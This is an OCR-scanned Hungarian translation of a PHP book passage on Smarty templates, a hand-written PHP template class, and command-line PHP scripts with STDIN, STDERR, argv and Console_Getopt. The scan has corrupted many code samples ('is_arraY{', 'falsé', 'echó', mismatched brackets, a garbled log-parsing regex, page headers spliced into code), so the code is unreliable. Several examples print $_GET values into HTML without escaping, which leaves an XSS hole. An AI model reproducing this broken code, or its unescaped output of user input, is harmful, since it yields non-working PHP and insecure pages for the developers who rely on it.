Egyesek ez ellen azzal érvelhetnek, hogy magában a sablonban egyáltalán nem ajánlott működési logikát elhelyezni. Nem értek egyet velük: ha a megjelenítésből teljesen kivonjuk a logikát, azt vagy azt jelenti, hogy a kimenet előállításához valójában nem tartozik logika (ami lehetséges, de igen valószínűtlen), vagy hogy összekevertük azt az alkalmazáslogikával. A megjelenítési kódnak az alkalmazásba helyezése pedig nem jobb, mint az alkalmazáslogika beépítése a megjelenítési kódba. A sablonrendszerek használatának éppen az a célja, hogy mindkét említett helyzetet elkerüljük. Mindazonáltal a sablonokban logikát elhelyezni sok buktatót rejt. Minél több szolgáltatás érhető el a sablonokban, annál nagyobb a kísértés, hogy maga az oldal tartalmazzon nagy mennyiségű kódot. Amíg ez a megjelenítésre korlátozódik, tartjuk magunkat az MVC mintához. Ne feledjük: az MVC nem arról szól, hogy a nézetből eltávolítunk minden logikát - a cél az, hogy a tartományra jellemző működési kódot vegyük ki belőle. A megjelenítési és működési kód között azonban nem minden esetben könnyű különbséget tenni. Számos fejlesztő számára nem csupán az a cél, hogy elválasszák a megjelenítést az alkalmazástól, hanem az, hogy a megjelenítési kód is minél kisebb legyen. Gyakran adnak hangot azon igényüknek, hogy a tervezőket távol szeretnék tartani a PHP kódtól, mintha a tervezők képtelenek lennének megtanulni a PHP-t, vagy nem lehetne megbízni bennük a PHP programozást illetően. A Smarty ezt a problémát nem oldja meg. Bármely sablonnyelv, amely lehetőséget ad bonyolult logika megvalósítására, elég vastag kötél ahhoz, hogy felkössük magunkat, ha nem vigyázunk.

A Smarty függvényei és egyebek
Az alapvető vezérlési szerkezetek mellett a Smarty lehetőséget ad arra is, hogy beépített, illetve felhasználói függvényeket hívjunk meg. Ez nagyobb rugalmasságot ad abban, hogy mit tehetünk meg magán a sablonkódon belül, de az az ára, hogy a sablonok bonyolulttá válnak. Számomra a leghasznosabb beépített függvény az include. A PHP include () függvényével azonos módon azt teszi lehetővé, hogy egy sablonba egy másikat építsünk be. Ezt általában arra használjuk, hogy közös fejlécet és láblécet adjunk a sablonokhoz, mint az alábbi egyszerű példában: {* header.tpl *} <html> <head> <title>{$title}</title> {if $css} <link rel="stylesheet" type="text/css" href="{$css}" /> {/if}

118

PHP fejlesztés felsőfokon

</head> <body> {* footer.tpl *} <!-- Copyright &copy; 2003 George Schlossnagle. reserved. --> </body> </html>

Somé rights

Ha ezután egy sablonban fejlécre vagy láblécre van szükség, a következőképpen építjük be azokat: {* hello.tpl *} {include file="header.tpl"} Hello {$name}. {include file="footer.tpl"} A Smarty támogatja a php függvényt is, melynek segítségével sablonon belüli PHP-kódot írhatunk. Ezzel az alábbihoz hasonlót hajthatunk végre: {* hello.tpl *} {include file="header.tpl"} Hello {php}print $_GET['name'];{/php} {include file="footer.tpl"} A php kódcímke maga a megtestesült gonosz: ha nyers PHP-t alkalmazó sablont akarunk írni, írjuk meg PHP-ben, ne a Smarty-ban. A nyelvek keverése egyetlen dokumentumon belül szinte soha nem jó ötlet. Feleslegesen bonyolítja az alkalmazást, és megnehezíti, hogy megállapítsuk, hol található egy adott szolgáltatás megvalósítása. A Smarty támogatja az egyéni függvényeket és változómódosítókat is. Az egyéni függvények az összetett feladatokat automatizáló segédfüggvények készítésében lehetnek segítségünkre. Ennek egy példája a mailto függvény, amely egy elektronikus levélcímet alakít HTML mail to : hivatkozássá: {mailto address="george@omniti.com} Az eredmény a következő lesz:
<a href="mailto:george@omniti.com">george@omniti.com</a>

Saját PHP függvényeinket a Smarty register_function () tagfüggvényével jegyeztethetjük be, ami az egyéni segédkódok létrehozását segíti. Az említett függvénnyel bejegyzett függvények bemenetként a $params tömböt kapják, ami a Smarty függvényhívásban

4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

119

átadott esetleges argumentumokat tartalmazza. Az alábbi kód egy segédfüggvényt mutat, amely egy kétdimenziós tömböt HTML táblázatként jelenít meg. (A függvény meghatározását a következő alkalmazáskódban láthatjuk.) function create_table($params)
{

if(!is_arraY{$params['data'])) í return; } $retval = "<table>"; f oreach ( $parains [ ' data ' ] as $row) { $retval .= "<tr>"; foreach{$row as $col) { $retval .= "<td>$col</td>"; } $retval .= "</tr>"; } $retval .= "</table>"; return $retval;

Megjegyzés

A create_table () különbözik a Smarty beépített htinl_table függvényétől, mert kétdimenziós tömböt vár.

A create_table () segítségével megjeleníthető a sablonfájlok táblázata: {* list_templates.tpl *} {include file="header.tpl"} {create_table data=$file_arraY} {include file="footer.tpl"} /* list_templates.php */ $ smarty = new Smarty_ExainpleOrg; $smartY->register_function{'create_table', 'create_table'] $data = array(array('filename', ' b y t e s ' ) ) ; $files = scandir($smarty->template_dir); foreach($files as $file) { $stat = stat("$smarty->template_dir/$file"); $data[] = array($file, $stat['size']);
}

$smarty->assign('file_array', $data); $smarty->display{'list_templates.tpl'

120

PHP fejlesztés felsőfokon

A Smarty a változómódosítókat is támogatja, amelyek olyan függvények, amelyek a változók megjelenítését módosítják. Az nl2br () PHP függvény meghívása a $text Smarty változóra például az alábbi sablonkóddal történhet: {$textInl2br} A függvényekhez hasonlóan az egyéni módosítókat is bejegyezhetjük, mégpedig a register_modif ier () tagfüggvénnyel. íme a kód, amivel egy olyan módosítót jegyeztethetünk be, amely a változót a PHP urlencode () függvényén keresztül adja át: $smarty->register_modifier('encode' , 'urlencode');

Az elérhető függvények és módosítók teljes listáját a Smarty kézikönyvében, a http: //smarty .php .net/manual/en címen találhatjuk meg. Természetesen a több sablonban is használni kívánt egyéni függvényeket célszerű az osztálykonstruktorban bejegyezni.

Átmeneti tárolás a Smarty-val
A lefordított sablonok használatánál is gyorsabb a sablonok kimenetének átmeneti tárolása, így a sablont egyáltalán nem kell végrehajtani. Az átmeneti tárolás (gyorstárazás, caching) általában véve is igen hatékony módszer. A kötetben három fejezetet (a kilencediket, a tizediket és a tizenegyediket) kizárólag a különböző tárolási megoldásoknak szentelünk. A Smarty-ban a tartalom átmeneti tárolásához először engedélyeznünk kell a tárolást az objektumban, mégpedig a következő sorral: $smarty->cache = true; Ezután amikor csak meghívjuk a display () függvényt, az oldal teljes kimenete $smarty->cache_lif etime ideig (ez általában 3600 másodperc) tárolódik. A legtöbb oldalon a beágyazott PHP program igényli a legtöbb időt, hiszen az adatokból elő kell állítani a lapot. A folyamatot rövidre zárhatjuk, ha az is_cached () tagfüggvénnyel ellenőrizzük, hogy az oldalnak létezik-e tárolt másolata. A PHP programon belül ez a következőképpen történik: $smarty = new Smarty_ExampleOrg; if(!is_cached('index.tpl')) { /* beállítás */
}

$smarty->display('index.tpl');

4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

121

Ha az oldal bármilyen felhasználóhoz köthető információt tartalmaz, ez a módszer számunkra nem megfelelő, mert csak az első felhasználóra vonatkozó információk tárolódnak, és minden további felhasználó ugyanazt kapja. Ha feltételekkel szeretnénk tárolni az adatokat, a display () -nek egy második paramétert kell átadnunk. Ezt a tárolási rendszer kulcsként használja, hogy azonos kulccsal rendelkező kérelem esetén visszaadhassa a tárolt tartalmat. Ha a homepage. tpl sablont például 10 percig minden kérelmező számára egyedileg szeretnénk tárolni, a felhasználókat a nevük alapján előállított MD5 kivonat alapján azonosíthatjuk: $smarty = new Smarty_ExampleOrg; if(!is_cached('homepage.tpl', md5($_C00KIE['name'])) )
{

/* beállítás */ $smarty->assign('name',
}

$_C00KIE['name']);

$smarty->display('homepage.tpl', md5($_COOKIE['name' ] )) ; Láthatjuk, hogy az is_cached () továbbra is használható, csak át kell neki adni az azonosítót is. Legyünk óvatosak: a Smarty nem rendelkezik beépített szemétgyűjtéssel, így minden tárolt oldal egy fájlt jelent a tároló fájlrendszerben. Ez lehetőséget teremt a véletlen vagy szándékos túlterhelésre (denial-of-service, vagyis túlterheléses támadásra), amikor is tárolt oldalak ezrei gyűlnek fel a rendszerben. Ehelyett azt javasoljuk, hogy viszonylag kevés értéket felvehető kulcs alapján válasszuk ki a tárolandó tartalmat. A dinamikus tartalmú fájlok átmeneti tárolásának még jobb módja, ha mindent tárolunk, kivéve a dinamikus tartalmat. Ilyen kódot szeretnénk használni a sablonjainkban: {* homepage.tpl *} {* tárolható statikus tartalom *} {nocache} Hello {$name}! {/nocache} {* egyéb statikus tartalom *} Ennek eléréséhez bejegyeztethetünk egy egyéni blokk-kezelőt a nocache blokk számára a Smarty register_block () tagfüggvényén keresztül. A blokk-kezelő függvény három paramétert vár: a kódcímkének átadott bármely paramétereket, a blokkban található tartalmat, illetve a Smarty objektumot.

122

PHP fejlesztés felsőfokon

A megvalósítani kívánt függvény egyszerűen változatlan formában visszaadja a blokk tartalmát: function nocache_block($params, $content, Smarty $smarty)
{

return $content;
}

A trükk az, hogy a nocache_block függvényt nem tárolhatóként jegyezzük be, a register_block () harmadik paraméterének f alse-ra való állításával: $smarty->register_block('nocache', 'nocache_block', fa l s é ) ;

Ezután a nocache blokk még a tárolt sablonokban is dinamikusan jön létre. Vigyázzunk, ha az is_cached () függvénnyel rövidre zárjuk az előkészítést, meg kell győződnünk arról, hogy ettől függetlenül végrehajtják a nem tárolható blokk beállítását!

A Smarty haladó szolgáltatásai
A Smarty gyorstalpaló befejezéseként szót kell ejtenünk még néhány érdekes szolgáltatásról: • Biztonsági beállítások - A Smarty beállítható úgy, hogy csak bizonyos függvények és módosítók használatát engedélyezze, és letiltsa a php blokkokat. Az utóbbiakat célszerű azonnal letiltani, és kétszer is meggondolni, mielőtt engedélyeznénk őket. A biztonság globális engedélyezése úgy történik, hogy a Smarty osztály $security tulajdonságát true-ra állítjuk. Miután ezt elvégeztük, az egyes biztonsági beállításokat a $security_settings tulajdonságon keresztül kapcsolhatjuk be vagy ki. A részletekkel kapcsolatban lapozzuk fel a Smarty kézikönyvét. A biztonság engedélyezésének legjobb módja, ha a tulajdonságot egyszerűen az osztálykonstruktorban állítjuk be, mint alább, a Smarty_ExampleOrg esetében: class Smarty_Example_Org extends Smarty { function ____ constructf)
{

$this->Smarty(); $this->template_dir = '/data/www/www.example.org/templates'; $this->config_dir = »£» ■ /data/www/www. example . org/smarty_conf ig ' ; $this->compile_dir = *» '/data/cachefiles/www.example.org/templates_c'; $this->cache_dir = -"»• ' /data/cachef iles/www. example . org/smarty_cache ' ; $this->security = true; } }

4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

123

• Sablonelőszűrés - A sablonelőszűrők segítségével olyan függvényt jegyeztethetünk be, amely a sablonon annak feldolgozása előtt fut le. A szokásos példa egy olyan előszűrő, ami eltávolít minden felesleges szóközt a sablonokból. A bejegyzést a register_pref ilter () tagfüggvényen keresztül végezhetjük el. • Sablonutószűrés - A sablonutószűrők fordítás után, de lemezre írás előtt futnak le a sablonon. Az utószűrők ideális felhasználási módja, ha valamilyen tárolt PHP kódot adunk minden lefordított sablonhoz, például egy olyat, ami beállítja a session_start () -ot hívó HTTP fejléceket. Az utószűrők a register_postf ilter () tagfüggvényen keresztül jegyeztethetők be. íme egy egyszerű utószűrő, ami gondoskodik a session_start () engedélyezéséről: function add_session_start($tpl_source, Smarty $smarty)
{

return "<?php session_start(); ?>\n".$tpl_source; }

$ smarty = new Smarty_ExarnpleOrg; $smarty->register_postfilter("add_session_start"); • Kimeneti szűrők - Ezek használatára a Smarty által előállított minden kimenet esetében sor kerül, mielőtt elküldenénk a böngészőnek (vagy a Smarty gyorstárába írnánk). Ez a legjobb hely arra, hogy valamilyen végső adatmódosítást végezzünk, mielőtt a tartalmat elküldenénk. Például átírhatunk minden kimenő e-mail címet george@omniti.com-ra (hogy megtévesszük a levélcím-kereső robotokat), vagy a :-) jelhez hasonló „emotikonokat" azonos célú képekre mutató hivatkozásokra cserélhetjük. A kimeneti szűrők bejegyzésére a register_outputf ilter () használatos. • Tárkezelők - Bejegyeztethetünk egyéni tárkezelőket is, amelyek segítségével megváltoztathatjuk azt, ahogy a Smarty a tárolt fájlokat írja és olvassa. Ez akkor lehet hasznos, ha azt szeretnénk, hogy a Smarty egy adatbázisban tárolja a tartalomfájlokat és lefordított sablonokat, hogy minden kiszolgáló biztosan azonos tárolt tartalmat szolgáltasson. A tárkezelőket a Smarty osztály $cache_handler_f unc tulajdonságát beállítva jegyeztethetjük be. • Testreszabható kódcímkék - Ha a {} határolójelek nem tetszenek, bármilyen más jelre lecserélhetjük azokat. Én az XML-szerű <smarty></smarty> jelölést részesítem előnyben.

Saját sablonrendszer készítése
Ha tervező- és fejlesztőcsapatunk nyelvi szintű kényszer nélkül képes fegyelmezetten szétválasztani a megjelenítési és alkalmazási kódot, sablonrendszerként sima PHP-t is nyugodtan használhatunk. A PHP ugyanis eredetileg sablonnyelv volt, azzal a céllal, hogy különböző C nyelvű függvényeket ragasszon össze HTML oldalak készítéséhez. Bár a PHP azóta egyszerű ragasztónyelvből sokoldalú, általános célú parancsnyelvvé (szkriptnyelwé) vált, hű maradt gyökereihez, és ma is kiválóan alkalmas sablonírásra.

124

PHP fejlesztés felsőfokon

Az alapelv az, hogy olyan sablonokat írjunk, amelyek hasonlóak a lefordított Smarty sablonokhoz, íme egy egyszerű osztály, amely a sablonok feldolgozását kezeli: class Template { public $template_dir; function display( $ f i l e ) { $template = $this; // elnyomjuk a nem létező változókra figyelmeztető üzeneteket error_reporting(E_ALL ~ E_NOTICE); include("$this->template_dir.$file");
} }

A fenti sablonosztályt úgy használjuk, hogy létrehozunk egy új Template objektumot, feltöltjük a kívánt adatokkal, és meghívjuk a display () -t. Maga a Template objektum $template formában érhető el. Az osztály „hellós" sablonja így fest: <html>
<titlex?php echó $template->title; ?></title> <body> Hello <?php echó $template->name; ?>! </body> </html>

A sablont meghívó PHP kód alakja a következő: $template = new Template; $template->template_dir = '/data/www/www.example.org/templates/'; $template->title = 'Hello World'; $template->name = array_key_exists('name', $_GET)?$_GET['name']:'Stranger'; $template->display('default.tmpl'); A Smarty-hoz hasonlóan az alapértelmezett adatokat a PHP-ben is az osztálykonstruktorba zárhatjuk: class Template_ExampleOrg extends Template
{

public function _____ construct()
{

$this->template_dir = '/data/www/www.example.org/templates/ ' ; $this->title = 'www.example.org'; } }

4. fejezet * Megvalósítás PHP nyelven: a sablonok és a Világháló

125

Mivel a sablonokat az include () PHP függvénnyel hajtjuk végre, tetszőleges PHP kódot tartalmazhatnak, így akár a teljes megjelenítési logika megvalósítható PHP nyelven. Ha például egy olyan fejlécállományt szeretnénk készíteni, ami CSS stíluslapokat tölt be egy tömbből, az alábbi kódot írhatjuk: <!-- header.tpl --> <html> <headxtitlex?php echó $template->title ?x/title> <?php foreach ($template->css as $link) { ?> <link rel="stylesheet" type="text/css" href="<?php echó $link ?>"" />
<?php } ?>

</head> Ez a PHP-nek teljesen rendben levő használata egy sablonban, mert világos, hogy tisztán megjelenítési, nem pedig alkalmazáskódról van szó. Logikát helyezni a sablonokba nem elítélendő dolog, sőt, bármilyen összetettebb választás, amit a megjelenítés számára biztosítunk, logikát igényel. A lényeg az, hogy a sablonokban a megjelenítési kód kapjon helyet, míg a működési kódot helyezzük a sablonokon kívül. Amikor mindkettő megvalósítására ugyanazt a nyelvet használjuk, különösen ügyelnünk kell a szétválasztás fenntartására. Ha ezt nem tudjuk szigorúan betartatni, komoly gondok vannak a fejlesztési környezetben. Bármilyen nyelvet lehet rosszul használni, de jobb, ha a fejlesztők önként igazodnak a szabályokhoz, mintha kényszeríteni kell őket erre.

További olvasmányok
A fejezetben alig kapargattuk meg a felszínt a Smarty képességeivel kapcsolatban, de kitűnő dokumentációt találunk a Smarty webhelyén, a http: / / smarty. php . net címen. A PHP-hoz számos sablonrendszer használható. Még ha elégedettek is vagyunk a Smartyval, nem árt, ha megismerkedünk más rendszerek képességeivel is. A népszerűbbek közé tartoznak például a következők: • HTML_TemplateJT, HTML TemplateJTX és HTML TemplateFlexy - mind elérhető a PEAR címén (http: / /pear. php. net). • TemplateTamer - http: / /www. templatetamer. com • SmartTemplate - http: //www. smartphp.net Ha nem ismerjük a CSS (Cascading Style Sheets, többszintű stíluslapok) használatát, érdemes megtanulnunk. A CSS rendkívül erőteljes eszközt nyújt a HTML oldalak formázására a mai böngészőkben; segítségével megszabadulhatunk minden FONT vagy TABLE kódcímkétől. A CSS leírás főoldala a http: / /www. w3 . org/Style/CSS címen található. Danny Goodman könyve, a Dynamic HTML: The Definüive Reference, kitűnő gyakorlati útmutató a HTML, a CSS, a JavaScript, és a Document Object Model (DOM) használatához.

Megvalósítás PHP nyelven: önálló programok
Ez a fejezet azt írja le, hogyan hasznosíthatunk meglevő kódkönyvtárakat, hogy felügyeleti feladatokat hajtsunk végre PHP kóddal, illetve hogyan írhatunk önálló vagy parancssori programokat. Emellett bemutatunk néhány paradigmákat áthágó projektet, amelyek lehetővé tették a PHP használatát a webes környezeten kívül is. Annak, hogy részt vehettem a PHP fejlesztésében, számomra az volt az egyik legizgalmasabb vonása, hogy láthattam, amint a nyelv (a PHP 3 idején és azelőtt) egyszerű webes parancsfájlkészítő nyelvből sokoldalú, erőteljes nyelvvé válik, ami mellesleg kitűnő teljesítményt nyújt a webprogramozásban. Annak, hogy egy nyelv kimondottan egy adott területre szakosodik, a következő előnyei vannak: • Könnyű tökéletes eszközzé válni egy adott feladatra, ha a nyelvet kimondottan ezért hozták létre. • Könnyebb egy területen kimagaslónak lenni, mint versenyezni más, érettebb, általános célú nyelvekkel. Másrészről viszont vannak hátránya is a szakosodásnak: • A cégek ritkán összpontosítanak egyetlen részterületre a többi kárára. Még a webközpontú szervezeteknek is vannak háttérrendszerei és rendszerprogramozási igényei. • A különböző igények szakosodott nyelvekkel való kielégítése a fejlesztőktől több nyelv magas szintű ismeretét követeli meg. • A másképp közösen is használható kódot minden használt nyelven meg kell írni.

128

PHP fejlesztés felsőfokon

Webszakértőként az említett hátulütőket komoly gondnak tartom. A több helyen szereplő azonos kód azt jelenti, hogy hiba esetén több helyen kell javítást végezni (és ami még rosszabb, több nyelven), ami egyenlő a nagyobb általános hibaszázalékkal, és növeli annak az esélyét, hogy a kódalap ritkábban használt részeiben a hibák sokáig fennmaradnak. A több nyelven történő aktív fejlesztés azt jelenti, hogy a fejlesztők nem válhatnak egyetlen nyelv szakértőivé, ehelyett több nyelvet is ismerniük kell, így nehezebb igazán jó programozókat találni, akiknek a tudása nem aprózódik el több nyelv között. Egyes cégek úgy kezelik ezt a problémát, hogy külön programozói csoportok dolgoznak a különböző területeken. Ez hatékony lehet, de nem oldja meg a kód-újrahasznosítás problémáját, ráadásul drága és nehézkes.

Legyünk gyakorlatiasak!

Dávid Thomas és Andrew Hunt kitűnő könyve, a The Pragmatic Programmer: From Journeyman to Master azt ajánlja, hogy a profi programozók legalább egy új nyelvet tanuljanak meg évente. Teljes szívemből egyetértek ezzel a tanáccsal, de gyakran azt látom, hogy félreértik. Számos cég kódtára „skizofrén": különböző nyelveken írt alkalmazásokat tartalmaz, csak azért, mert a fejlesztő, aki írta őket, éppen az X nyelvet tanulta, és úgy gondolta, ez jó gyakorlási lehetőség számára. Különösen igaz ez akkor, ha a cég vezető fejlesztője kifejezetten ügyes és lelkes, és könnyedén bánik több nyelvvel. Ez azonban a gyakorlatban nem szerencsés. A gond az, hogy hiába vagyunk képesek egyszerre Python, Perl, PHP, Ruby, Java, C++ és C# nyelven programozni, munkatársaink nagy része nem tud követni minket, ráadásul tonnányi ismétlődő kód keletkezik. Szinte biztos például, hogy ugyanazt az alapvető adatbázis-elérési könyvtárat minden nyelven meg kell írnunk. Ha szerencsések és előrelátóak vagyunk, legalább a könyvtárak felülete (API) ugyanaz lesz, de ha nem, többé-kevésbé különböző könyvtárakat kapunk, a fejlesztők pedig szenvedhetnek a rengeteg hibától, ami abból adódik, hogy Python API-hoz kell programozniuk PHP nyelven. Új nyelveket tanulni hasznos dolog; én magam is próbálom követni Thomas és Hunt tanácsát. Nyelveket tanulni fontos, mert tágítja látókörünket, edzésben tart és új ötleteket ad. Az ötleteket és módszereket érdemes átmenteni tanulmányainkból, de óvakodjunk attól, hogy munkánkat mindig újabb nyelvekre építsük.

Tapasztalataim szerint az ideális nyelv kellően specializált ahhoz, hogy az adott munka lényegéhez igazodjon, de elég általános a mellékes feladatok megoldására is. A PHP a webprogramozás során felmerülő igények legtöbbjét képes kielégíteni. Fejlesztési modellje hű maradt a gyökerekhez, a beágyazott webes programokhoz. Használatának egyszerűsége

5. fejezet • Megvalósítás PHP nyelven: önálló programok

129

és praktikussága a webes feladatokhoz ma is páratlan (amit a nyelv gyorsuló terjedése is bizonyít). A PHP azonban emellett képessé vált általánosabb feladatok megoldására is. A PHP 4 és 5 már számos nem webes igényt is kielégít. Vajon a PHP a legjobb nyelv a háttérben futó beágyazott programok számára? Ha nagy API-val rendelkezünk, amelyet számos üzleti alkalmazásban használunk, az a képesség, hogy a webes környezet kódjait összeolvaszthatjuk és újrahasznosíthatjuk, hihetetlenül értékes. Ez az érték még azt a tényt is elhomályosítja, hogy a Perl és a Python érettebb parancsnyelvek.

A PHP parancssori felülete: bevezetés
Ha a PHP környezetet az --enable-cli kapcsolóval építettük fel, a binárisok könyvtárába (alapértelmezés szerint ez az /usr/local/bin) egy php nevű bináris állomány kerül. Hogy ne kelljen a php minden futtatásakor megadnunk a teljes elérési utat, ezt a könyvtárat fel kell tüntetnünk a PATH környezeti változóban. A phpscript .php program végrehajtása egy Unix rendszer parancssorából például az alábbi utasítás begépelésével történhet: > php phpscript.php Azt is megtehetjük, hogy a program első soraként beszúrjuk a következőt: #!/usr/bin/env php Ezután a chmod paranccsal végrehajthatóvá tesszük a programállományt: > chmod u+rx phpscript.php A phpscript .php-t most már így futtathatjuk: > ./phpscript.php

A #! jelölést angolul „she-bang"-nek hívják; ez a héjprogramok és parancsállományok végrehajthatóvá tételének szabványos módja Unix rendszereken. Windows rendszeren a telepítő módosítja a rendszerleíró adatbázist, hogy a . php parancsfájlokat a végrehajtható php állományhoz társítsa, így feldolgozásukhoz és futtatásukhoz elég rájuk kattintanunk. Mindazonáltal a PHP-t Unix rendszereken szélesebb körben használják (főként biztonsági, költség- és teljesítménybeli okokból kifolyólag), ezért a könyvben kizárólag unixos példákat hozunk fel. A bemenet kezelésétől eltekintve a parancssori PHP programok ugyanúgy viselkednek, mint webes testvéreik.

130

PHP fejlesztés felsőfokon

A bemenet és kimenet kezelése
A Unix tervezési megközelítésének központi elve, hogy kicsi, önálló programokat állítunk láncba, hogy összetettebb feladatokat végezzünk el. A láncolást hagyományosan úgy érjük el, hogy az egyik program olvas a bemenetről, kimenetét pedig visszaküldi a terminálra. A Unix környezet három különleges fájlleírót biztosít, amelyeket adatok küldésére és fogadására használhatunk egy alkalmazás és a kezdeményező felhasználó terminálja (tty) között: • stdin - A szabványos bemenet („standard in" vagy „standard input") minden adatot elfog, amit a terminálon keresztül bevisznek. • stdout - A szabványos kimenet („standard out" vagy „standard output") közvetlenül a képernyőre kerül (ha a kimenetet átirányítjuk egy másik programhoz, az annak a szabványos bemenetén — stdin — jelenik meg). A print vagy az echó parancs kiadásakor egy PHP CGI vagy CLI (Command-Line Interface, vagyis parancssoros) programban az adatok a stdout-ra kerülnek. • stderr - A szabványos hibaüzenet („standard error") is a felhasználó termináljára kerül, de nem a stdin fájlleírón keresztül. Ha egy program stderr-t állít elő, az nem íródik egy másik program stdin fájlleírójába, hacsak nem alkalmazunk kimenetátirányítást. A PHP CLI-ben a fenti fájlleírókat a következő állandók segítségével érhetjük el: • STDIN • STDOUT • STDERR Ezen állandók használata egyenértékű azzal, mintha az adatfolyamokat saját kezűleg nyitnánk meg. (Ha a PHP CGI-változatát futtatjuk, ezt is kell tennünk.) Az adatfolyamok megnyitásának módja a következő:
$stdin = fopen("php://stdin", "r"); $stdout = fopen("php://stdout", "w"); $stderr = fopen("php://stderr", "w");

Miért használjuk a STDOUT-ot?

Bár értelmetlennek tűnhet a STDOUT fájlleíróként való használata, amikor a print vagy az echó paranccsal közvetlen kiírást is végezhetünk, valójában igen kényelmes. A STDOUT lehetővé teszi, hogy kimeneti függvényeket írjunk, amelyek egyszerűen adatfolyam erőforrásokat kapnak, hogy könnyen válthassunk aközött, hogy a kimenetet a felhasználó termináljára, HTTP folyamon keresztül egy távoli kiszolgálóra, vagy egy másik kimeneti adatfolyamon át bárhová máshová küldjük.

5. fejezet • Megvalósítás PHP nyelven: önálló programok

131

A STDOUT hátránya, hogy nem használhatjuk ki a PHP kimeneti szűrőinek, illetve a kimenet átmeneti tárolásának előnyeit, de saját folyamszűrőket bejegyeztethetünk a streams_f ilter_register () függvénnyel.

íme egy rövid program, amely beolvas egy fájlt a stdin-ről, sorszámmal látja el a sorokat, az eredményt pedig a stdout-ra küldi:
#! /usr/bin/env php <?php

$lineno = 1; wh i l e ( ( $ l i n e = fgets(STDIN)) != falsé) { fputs(STDOUT, "$lineno $ l i n e " ) ; $lineno++;
} ?>

Ha a programot saját magán futtatjuk le, az alábbi kimenetet kapjuk:
1 2 3 4 5 6 #!/usr/bin/env php <?php $lineno = 1; while(($line = fgets(STDIN)) != falsé) { fputs(STDOUT, "$lineno $line");

7
8 }

$lineno++;

9 ?>

A stderr használata kényelmes módja a hibaüzenetek és nyomkövetési információk küldésének, mert a fogadó program a stdin-ről olvas, így nem olvassa be ezeket. Alább egy olyan programot láthatunk, amely egy kombinált formátumú Apache naplót olvas be, és jelentést ad a fájlban talált egyedi IP címek és böngészőtípusok számáról:
<?php $counts = array('ip' => array(), 'user_agent' => array()); while(($line = fgets(STDIN)) != falsé) { # Ez a szabályos kifejezés mezőről mezőre illeszti a napló sorait. $regex = '/A(\S+) (\S+) (\S+) \[([A:]+):(\d+:\d+:\d+) ([A\]]+)\] '• '•(\S+) (.*?) (\s+)" (\s+) (\s+) »([-'•]*)" "([""]*)"$/'; preg_match($regex,$line,$matches); list(, $ip, $ident_name, $remote_user, $date, $time, $gmt_off, $method, $url, $protocol, $code, $bytes, $referrer, $user_agent) = $matches; $counts['ip']["$ip"]++;

132

PHP fejlesztés felsőfokon

$counts['user_agent']["$user_agent"]++; # Minden ezredik feldolgozott sor után kiírunk egy ' . ' jelet. if ( ($lineno + + % 1000) == 0) { fwrite(STDERR, "."); } } arsort($counts['ip'] , SORT_NUMERIC) ; reset($counts['ip']); arsort($counts['user_agent'], SORT_NUMERIC); reset($counts['user_agent' ] ) ;

foreach(array('ip', 'user_agent') as $field) { $i = 0; print "Top number of requests by $field\n"; print "------------------------------- \n" ;

foreach($counts[$field] as $k => $v) print "$v\t\t$k\n"; if($i++ == 10) { break;
} }

{

print "\n\n";
} ?>

A program úgy működik, hogy beolvassa a STDIN-ről a naplófájlt, minden sorát a $regexhez illeszti, hogy kinyerje az egyes mezőket, majd összegzést készít, megszámolva az egyedi IP címekre, illetve az egyes böngészőkre eső kérelmek számát. Mivel a kombinált formátumú naplófájlok nagyméretűek, ezer soronként egy pontot küldünk a stderr-re, hogy jelezzük, hol tart a feldolgozás. Ha a program kimenetét egy fájlba irányítjuk, a jelentés oda íródik, a pontok viszont a felhasználó képernyőjén jelennek meg.

A parancssori argumentumok feldolgozása
Ha egy PHP programot a parancssorban futtatunk, nyilvánvalóan nem adhatunk át argumentumokat a $_GET és $_POST változókon keresztül (a CLI nem ismeri ezeket a webprotokollokat). A parancssorban átadott argumentumokat ezért egy új autoglobális változóban, az $argv tömbben találhatjuk majd meg. Vegyük a következő programot:
#!/usr/bin/env php <?php print_r($argv); ?>

5. fejezet • Megvalósítás PHP nyelven: önálló programok

133

Tegyük fel, hogy így futtatjuk: > ./dump_argv.php foo bar barbára Ekkor ezt a kimenetet kapjuk: Array ( [0] [1] [2] [3] ) Észrevehetjük, hogy az $argv [ 0 ] a futó program neve. A beállítások (kapcsolók) közvetlenül az $argv változóból való beolvasása nem túl kényelmes, mert megköveteli, hogy azokat egy adott sorrendbe tegyük. A kézi feldolgozásnál hatékonyabb megoldást nyújthat a PEAR Console_Getopt csomagja, amely egyszerű felületet biztosít a parancssori kapcsolók könnyebben kezelhető tömbbé alakítására. Az egyszerű feldolgozás mellett a Console_Getopt mind a rövid, mind a hosszú kapcsolókat kezeli, és alapszintű ellenőrzéseket is végez, hogy a beállításokat biztosan a megfelelő formában kapjuk meg. A Console_Getopt úgy működik, hogy formázó karakterláncokat kap a várt argumentumokhoz. Kétféle kapcsolót adhatunk át neki: hosszú és rövid kapcsolókat. A rövid kapcsolók egy betűből és az esetleges adatokból állnak. A rövid kapcsolók formátumleírója egy, a megengedett elemekből álló karakterlánc. A kapcsoló betűjét egy kettőspont követheti, amellyel azt jelezzük, hogy a kapcsoló paramétert igényel, illetve két kettőspont, ami arra utal, hogy a paraméter nem kötelező. A hosszú kapcsolók teljes szavak tömbjéből állnak (például --help). Ha utánuk egyenlőségjel áll, azzal azt jelezzük, hogy a kapcsoló paramétert vár, ha pedig két egyenlőségjel, a paraméter nem kötelező. Ha azt szeretnénk, hogy egy program paraméterek nélkül elfogadja a -h és a --help kapcsolókat, míg a --filé kapcsolót egy kötelező paraméterrel, az alábbi kódot kell írnunk: require_once "Console/Getopt.php"; $shortoptions = "h"; $longoptons = array("file=", "help"); = > dump_argv.php => foo => bar => barbára

134

PHP fejlesztés felsőfokon

$con = new Console_Getopt; $args = Console_Getopt::readPHPArgv(); $ret = $con->getopt($args, $shortoptions,

$longoptions);

